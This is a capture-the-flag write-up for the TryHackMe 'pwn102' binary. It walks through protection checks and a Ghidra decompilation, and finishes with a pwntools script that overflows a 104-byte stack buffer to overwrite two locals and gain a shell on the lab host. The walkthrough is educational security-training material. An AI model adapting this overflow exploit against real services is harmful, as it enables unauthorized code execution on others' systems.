TryHackMe - pwn102

Provided: IP: 10.10.197.194 Files: pwn102.pwn102

Initial Recon & Analysis

Running file command on pwn102.pwn102:

pwn102.pwn102: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=2612b87a7803e0a8af101dc39d860554c652d165, not stripped
  • This is a 64-bit Linux executable file
  • Not stripped - Debugging symbols are present, making reverse engineering easier
  • Dynamically linked - Uses shared system libraries

We can use tool checksec to see what protections this binary has been compiled with:

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No
  • Full RELRO: relocations are read-only (harder to overwrite GOT entries).
  • No stack canary: stack smashing detection via canary is not present.
  • NX enabled: stack/heap are non-executable (so code injection on the stack is prevented).
  • PIE enabled: addresses are randomized (ASLR), so you must rely on a stack-based overwrite or use a leak to get runtime addresses if needed.
  • Not stripped: function names / symbols available in the binary help analysis.

Running the program prints a banner and the following lines:

       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 102

I need badf00d to fee1dead
Am I right? NotSure
I'm feeling dead, coz you said I need bad food :(

Step 1: Understanding the Challenge

I used Ghidra to decompile the binary. The relevant part of main is:

void main(void)

{
  undefined1 local_78 [104];
  int local_10;
  int local_c;

  setup();
  banner();
  local_c = 0xbadf00d;
  local_10 = 0xc0d3;
  printf("I need %x to %x\nAm I right? ",0xbadf00d,0xfee1dead);
  __isoc99_scanf(&DAT_00100b66,local_78);
  if ((local_c == 0xc0ff33) && (local_10 == 0xc0d3)) {
    printf("Yes, I need %x to %x\n",0xc0ff33,0xc0d3);
    system("/bin/sh");
    return;
  }
  puts("I\'m feeling dead, coz you said I need bad food :(");
  exit(0x539);
}

There is a local buffer local_78 of 104 bytes scanf reads user input into that buffer using an unchecked format string, allowing a buffer overflow. Before scanf:

  • local_c is initialized to 0xbadf00d.
  • local_10 is initialized to 0xc0d3. The conditional that spawns a shell is: local_c == 0xc0ff33 and local_10 == 0xc0d3. So the exploit goal is to make local_c equal 0xc0ff33 while keeping local_10 == 0xc0d3.

Because the buffer and the two int locals are stored contiguously on the stack, a single overflow can overwrite both local_10 and local_c. The decompiled layout suggests the stack order after the buffer is local_10 followed by local_c. Therefore the overwrite must write local_10 first and then local_c.

Solution

  1. Overflow the 104-byte buffer.
  2. Overwrite local_10 (4 bytes) with 0xc0d3 (so its value remains the expected 0xc0d3).
  3. Overwrite local_c (4 bytes) with 0xc0ff33.
  4. When the if condition becomes true, the program calls system("/bin/sh") and we get a shell.

int is 4 bytes on x86_64, so use 4-byte values (p32 in pwntools). p32 produces little-endian byte order, which matches the architecture. Since there is no stack canary, overwriting local variables is straightforward.

from pwn import *

context.binary = binary = "./pwn102.pwn102"

# p32(c0ff33) = \x33\xff\xc0\x00
payload = b"A"*104 + p32(0xc0d3) + p32(0xc0ff33)

#p = process()
p = remote("10.10.197.194", 9002)
p.recv()
p.sendline(payload)
p.interactive()

Tools & References Used

pwntools documentation - https://docs.pwntools.com/en/stable/

Ghidra (for decompilation)

checksec